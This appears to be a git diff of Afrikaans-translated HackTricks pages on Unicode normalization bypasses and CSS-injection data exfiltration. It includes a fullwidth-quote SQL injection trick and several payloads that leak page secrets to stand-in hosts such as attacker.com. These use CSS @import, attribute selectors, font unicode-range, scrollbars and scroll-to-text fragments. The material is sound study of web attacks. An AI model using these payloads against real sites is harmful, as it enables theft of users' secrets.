Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,44 +15,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check a look for further details (images taken form there).
## Understanding Unicode and Normalization
Unicode normalisering is 'n proses wat verseker dat verskillende binêre verteenwoordigings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang in die hantering van stringe in programmering en data verwerking. Die Unicode standaard definieer twee tipes karakter ekwivalensie:
Unicode normalisering is 'n proses wat verseker dat verskillende binêre voorstellings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang in die hantering van stringe in programmering en dataverwerking. Die Unicode-standaard definieer twee tipes karaktergelykheid:
1. **Canonical Equivalence**: Karakters word as kanoniek ekwivalent beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
2. **Compatibility Equivalence**: 'n Swakker vorm van ekwivalensie waar karakters dieselfde abstrakte karakter kan verteenwoordig, maar anders vertoon kan word.
1. **Canonical Equivalence**: Karakters word as kanoniek gelyk beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
2. **Compatibility Equivalence**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan voorstel, maar anders vertoon kan word.
Daar is **vier Unicode normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteit normalisering tegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
Daar is **vier Unicode normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
### Key Points on Unicode Encoding
Om Unicode kodering te verstaan is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
* **Code Points and Characters**: In Unicode, elke karakter of simbool word 'n numeriese waarde toegeken wat bekend staan as 'n "code point".
* **Bytes Representation**: Die code point (of karakter) word deur een of meer bytes in geheue verteenwoordig. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte verteenwoordig. egter, tale met 'n groter stel karakters benodig meer bytes vir verteenwoordiging.
* **Encoding**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene kodering standaard waar ASCII karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
* **Processing Data**: Stelsels wat data verwerk moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
* **Variants of UTF**: Benewens UTF-8, is daar ander kodering standaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
* **Code Points and Characters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "code point".
* **Bytes Representation**: Die code point (of karakter) word deur een of meer bytes in geheue voorgestel. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte voorgestel. egter, tale met 'n groter stel karakters benodig meer bytes vir voorstelling.
* **Encoding**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII karakters met een byte voorgestel word, en tot vier bytes vir ander karakters.
* **Processing Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
* **Variants of UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
Dit is van kardinale belang om hierdie konsepte te verstaan om effektief te kan hanteer en potensiële probleme wat voortspruit uit Unicode se kompleksiteit en sy verskillende kodering metodes te verminder.
Dit is van kardinale belang om hierdie konsepte te verstaan om effektief te kan hanteer en potensiële probleme wat uit Unicode se kompleksiteit en sy verskillende koderingmetodes ontstaan, te verminder.
'n Voorbeeld van hoe Unicode twee verskillende bytes normaliseer wat dieselfde karakter verteenwoordig:
An example of how Unicode normalise two different bytes representing the same character:
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
@ -60,7 +46,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### Ontdekking
As jy 'n waarde in 'n webapp kan vind wat teruggegee word, kan jy probeer om **KELVIN TEKEN (U+0212A)** te stuur wat **normaliseer na "K"** (jy kan dit stuur as `%e2%84%aa`). **As 'n "K" teruggegee word**, dan word daar 'n soort **Unicode normalisering** uitgevoer.
As jy 'n waarde in 'n webapp kan vind wat teruggegee word, kan jy probeer om **KELVIN SIGN (U+0212A)** te stuur wat **normaliseer na "K"** (jy kan dit stuur as `%e2%84%aa`). **As 'n "K" teruggegee word**, dan word daar 'n soort **Unicode normalisering** uitgevoer.
Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` na **unicode** is `Leonishan`.
@ -70,7 +56,7 @@ Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%
Stel jou voor 'n webblad wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie web, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer normaliseer, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>)
@ -116,7 +102,7 @@ Let daarop dat die eerste Unicode-karakter wat voorgestel word, gestuur kan word
### Fuzzing Regexes
Wanneer die agtergrond **gebruikersinvoer met 'n regex** nagaan, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
Wanneer die agtergrond **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* laat jou toe om **variasies van die invoer** te genereer om die agtergrond te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
@ -126,18 +112,6 @@ Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* la
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -148,7 +122,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,13 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## CSS Injection
@ -56,13 +49,13 @@ A practical example of exploiting this technique is detailed in the provided cod
Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes nagekom word:
1. **Payload-lengte**: Die CSS-inspuitingsvektor moet voldoende lange payloads ondersteun om die vervaardigde selektore te akkommodeer.
2. **CSS-herwaardering**: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die herwaardering van CSS met nuutgegenereerde payloads te aktiveer.
3. **Buitelandse Hulpbronne**: Die tegniek neem aan dat jy die vermoë het om eksterne gehoste beelde te gebruik. Dit kan beperk wees deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
1. **Payload Lengte**: Die CSS-inspuitingsvektor moet voldoende lange payloads ondersteun om die vervaardigde selektore te akkommodeer.
2. **CSS Her-evaluasie**: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die her-evaluasie van CSS met nuut gegenereerde payloads te aktiveer.
3. **Buitelandse Hulpbronne**: Die tegniek neem aan dat jy die vermoë het om buite-gasheerde beelde te gebruik. Dit mag beperk wees deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
### Blind Attribute Selector
As [**in hierdie pos verduidelik**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selektore **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webblad is wat die CSS-inspuiting laai.\
As [**in hierdie pos verduidelik**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selektore **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webblad wat die CSS-inspuiting laai is nie.\
Dit is ook moontlik om daardie selektore te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek soos in:
```html
<style>
@ -83,16 +76,16 @@ Daar is egter 'n ander slim tegniek wat **CSS `@import`** gebruik om die kwalite
Dit is eerste deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) gewys en dit werk soos volg:
In plaas daarvan om dieselfde bladsy keer op keer met tientalle verskillende payloads te laai (soos in die vorige), gaan ons **die bladsy net een keer laai en net met 'n invoer na die aanvallers bediener** (dit is die payload om na die slagoffer te stuur):
In plaas daarvan om dieselfde bladsy herhaaldelik met tientalle verskillende payloads te laai (soos in die vorige), gaan ons **die bladsy net een keer laai en net met 'n invoer na die aanvallers bediener** (dit is die payload om na die slagoffer te stuur):
```css
@import url('//attacker.com:5001/start?');
```
1. Die invoer gaan **'n paar CSS-skripte** van die aanvallers ontvang en die **blaaier sal dit laai**.
1. Die invoer gaan **'n paar CSS-skrip ontvang** van die aanvallers en die **blaaier sal dit laai**.
2. Die eerste deel van die CSS-skrip wat die aanvaller sal stuur is **nog 'n `@import` na die aanvallers bediener weer.**
1. Die aanvallers bediener sal nog nie op hierdie versoek reageer nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil beantwoord om die volgende te lek.
1. Die aanvallers bediener sal nie hierdie versoek nog beantwoord nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil beantwoord om die volgende te lek.
3. Die tweede en groter deel van die payload gaan **'n attribuutkeuse lek payload** wees.
1. Dit sal die **eerste karakter van die geheim en die laaste** na die aanvallers bediener stuur.
4. Sodra die aanvallers bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 aangevra is, beantwoord**.
4. Sodra die aanvallers bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 aangevra is beantwoord**.
1. Die antwoord gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om **die tweede karakter van die geheim en dan die voorlaaste** te vind.
Die aanvaller sal **daardie lus volg totdat dit daarin slaag om die geheim heeltemal te lek**.
@ -118,18 +111,18 @@ Moet nie bekommerd wees nie, kyk net na die **uitset** want **jy kan die vlag da
### Ander selektore
Ander maniere om toegang tot DOM dele te verkry met **CSS selektore**:
Ander maniere om toegang te verkry tot DOM dele met **CSS selektore**:
* **`.class-to-search:nth-child(2)`**: Dit sal die tweede item met die klas "class-to-search" in die DOM soek.
* **`:empty`** selektor: Gebruike byvoorbeeld in [**hierdie skrywe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **`:empty`** selektor: Gebruik byvoorbeeld in [**hierdie skrywe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### Fout-gebaseerde XS-Search
### Foutgebaseerde XS-Search
**Verwysing:** [CSS gebaseerde Aanval: Misbruik van unicode-range van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Fout-gebaseerde XS-Search PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Verwysing:** [CSS gebaseerde Aanval: Misbruik van unicode-range van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Foutgebaseerde XS-Search PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Die algehele bedoeling is om **'n pasgemaakte lettertipe van 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
```html
@ -155,16 +148,16 @@ font-family: 'poc';
</body>
</html>
```
1. **Aangepaste Lettertipe Gebruik**:
- 'n Aangepaste lettertipe word gedefinieer met die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
1. **Pasgemaakte Lettertipe Gebruik**:
- 'n Pasgemaakte lettertipe word gedefinieer met die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
- Die lettertipe word `poc` genoem en word van 'n eksterne eindpunt (`http://attacker.com/?leak`) afgelaai.
- Die `unicode-range` eienskap is gestel op `U+0041`, wat die spesifieke Unicode karakter 'A' teiken.
2. **Objek Element met Terugvalteks**:
- 'n `<object>` element met `id="poc0"` word in die `<body>` afdeling geskep. Hierdie element probeer om 'n hulpbron van `http://192.168.0.1/favicon.ico` te laai.
- 'n `<object>` element met `id="poc0"` word geskep in die `<body>` afdeling. Hierdie element probeer om 'n hulpbron van `http://192.168.0.1/favicon.ico` te laai.
- Die `font-family` vir hierdie element is gestel op `'poc'`, soos gedefinieer in die `<style>` afdeling.
- As die hulpbron (`favicon.ico`) nie kan laai nie, word die terugvalinhoud (die letter 'A') binne die `<object>` tag vertoon.
- Die terugvalinhoud ('A') sal met die aangepaste lettertipe `poc` gerender word as die eksterne hulpbron nie gelaai kan word nie.
- Die terugvalinhoud ('A') sal met die pasgemaakte lettertipe `poc` gerender word as die eksterne hulpbron nie gelaai kan word nie.
### Stylisering Scroll-to-Teks Fragment
@ -178,13 +171,13 @@ In sulke scenario's, as die teks "Administrator" op die bladsy teenwoordig is, w
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrator" te teiken deur die Scroll-to-text fragment (`#:~:text=Administrator`). As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller aandui.
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrator" te teiken deur die Scroll-to-text fragment (`#:~:text=Administrator`). As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller dui.
Vir versagting moet die volgende punte in ag geneem word:
1. **Beperkte STTF-ooreenstemming**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreen te stem, wat sy vermoë om willekeurige geheime of tokens te lek, beperk.
1. **Beperkte STTF-ooreenstemming**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreenstem, wat sy vermoë om arbitrêre geheime of tokens te lek, beperk.
2. **Beperking tot Top-niveau Blaai-kontekste**: STTF werk slegs in top-niveau blaai-kontekste en funksioneer nie binne iframes nie, wat enige poging tot uitbuiting meer opmerklik vir die gebruiker maak.
3. **Noodsaaklikheid van Gebruikeraktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaai-uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
3. **Noodsaaklikheid van Gebruiker-aktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruiker-interaksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaai-uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutels tot die handhawing van websekuriteit en die beskerming teen sulke uitbuitings taktieke.
@ -221,20 +214,20 @@ font-family:poc;
```
When you access this page, Chrome en Firefox haal "?A" en "?B" op omdat die teksnode van sensitiewe-inligting "A" en "B" karakters bevat. Maar Chrome en Firefox haal nie "?C" op nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Teksnode eksfiltrasie (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Verwysing:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur fontligatures te benut en veranderinge in breedte te monitor. Die proses behels verskeie stappe:
Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur font ligatures te benut en veranderinge in breedte te monitor. Die proses behels verskeie stappe:
1. **Creation of Custom Fonts**:
- SVG-fonts word gemaak met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig, stel.
1. **Skep van Aangepaste Fonts**:
- SVG fonts word gemaak met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig, stel.
- Voorbeeld SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
- Hierdie fonts word dan na woff-formaat omgeskakel met fontforge.
2. **Detection of Width Changes**:
- CSS word gebruik om te verseker dat teks nie wrap nie (`white-space: nowrap`) en om die scrollbar-styl aan te pas.
- Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanduiding (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakter volgorde, in die teks teenwoordig is.
2. **Detectie van Breedte Veranderinge**:
- CSS word gebruik om te verseker dat teks nie wrap nie (`white-space: nowrap`) en om die scrollbar styl aan te pas.
- Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanduiding (orakel) dat 'n spesifieke ligature, en dus 'n spesifieke karakter volgorde, in die teks teenwoordig is.
- Die betrokke CSS:
```css
body { white-space: nowrap };
@ -242,22 +235,22 @@ body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **Exploit Process**:
- **Step 1**: Fonts word geskep vir pare van karakters met substansiële breedte.
- **Step 2**: 'n Scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot breedte glyph (ligature vir 'n karakterpaar) gerender word, wat die teenwoordigheid van die karakter volgorde aandui.
- **Step 3**: By die opsporing van 'n ligature, word nuwe glyphs wat drie-karakter volgordes verteenwoordig, gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
- **Step 4**: Opsporing van die drie-karakter ligature word uitgevoer.
- **Step 5**: Die proses herhaal, wat progressief die hele teks onthul.
3. **Eksploit Proses**:
- **Stap 1**: Fonts word geskep vir pare van karakters met substansiële breedte.
- **Stap 2**: 'n Scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot breedte glyph (ligature vir 'n karakter paar) gerender word, wat die teenwoordigheid van die karakter volgorde aandui.
- **Stap 3**: By die opsporing van 'n ligature, word nuwe glyphs wat drie-karakter volgordes verteenwoordig, gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
- **Stap 4**: Detectie van die drie-karakter ligature word uitgevoer.
- **Stap 5**: Die proses herhaal, wat progressief die hele teks onthul.
4. **Optimization**:
4. **Optimalisering**:
- Die huidige inisialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die prestasie van die exploit verbeter.
- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die prestasie van die eksploits verbeter.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Teksnode eksfiltrasie (II): lek die charset met 'n standaard font (wat geen eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Hierdie truuk is vrygestel in hierdie [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Die karakterstel wat in 'n teksnode gebruik word, kan gelek word **met die standaard fonts** wat in die blaaier geïnstalleer is: geen eksterne -of pasgemaakte- fonts is nodig nie.
Hierdie truuk is vrygestel in hierdie [**Slackers draad**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Die charset wat in 'n teksnode gebruik word, kan gelek word **met die standaard fonts** wat in die blaaier geïnstalleer is: geen eksterne -of aangepaste- fonts is nodig nie.
Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte geleidelik uit te brei, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses verdeel die teks effektief in twee afdelings:
@ -283,11 +276,11 @@ Tydens hierdie oorgang word die **unicode-range truuk** gebruik om elke nuwe kar
Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle verskyn, spesifiseer dit nie watter karakter herhaal word nie, net dat 'n herhaling plaasgevind het.
{% hint style="info" %}
Basies, die **unicode-range is gebruik om 'n char te detecteer**, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
Wanneer die **char** gevind word, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die char **groter** maak en **'n scroll bar aktiveer** wat die **gevonde char** sal **lek**.
Basies, die **unicode-range word gebruik om 'n char te detecteer**, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
Wanneer die **char** gevind word, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die char **groter** maak en 'n scroll bar **aktiveer** wat die **gevonde char** sal **lek**.
{% endhint %}
Check the code extracted from the PoC:
Kontroleer die kode wat uit die PoC onttrek is:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -430,15 +423,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it wont load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
As daar 'n ooreenkoms is, sal die **font gelaai word vanaf `/static/bootstrap.min.css?q=1`**. Alhoewel dit nie suksesvol gelaai sal word nie, behoort die **blaaier dit te kas** en selfs al is daar geen kas nie, is daar 'n **304 not modified** meganisme, so die **antwoord behoort vinniger te wees** as ander dinge.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
As die tydsverskil van die gekaste antwoord van die nie-gekas een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: egter, na toetsing, het ek gevind dat die eerste probleem is dat die spoed nie veel verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` vlag gebruik, wat regtig deurdagte is.
### Text node exfiltration (III): lek die charset deur die tyd te meet wat dit neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Tekstnode eksfiltrasie (III): lek die charset deur die tyd te meet wat dit neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Verwysing:** Dit word genoem as [n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
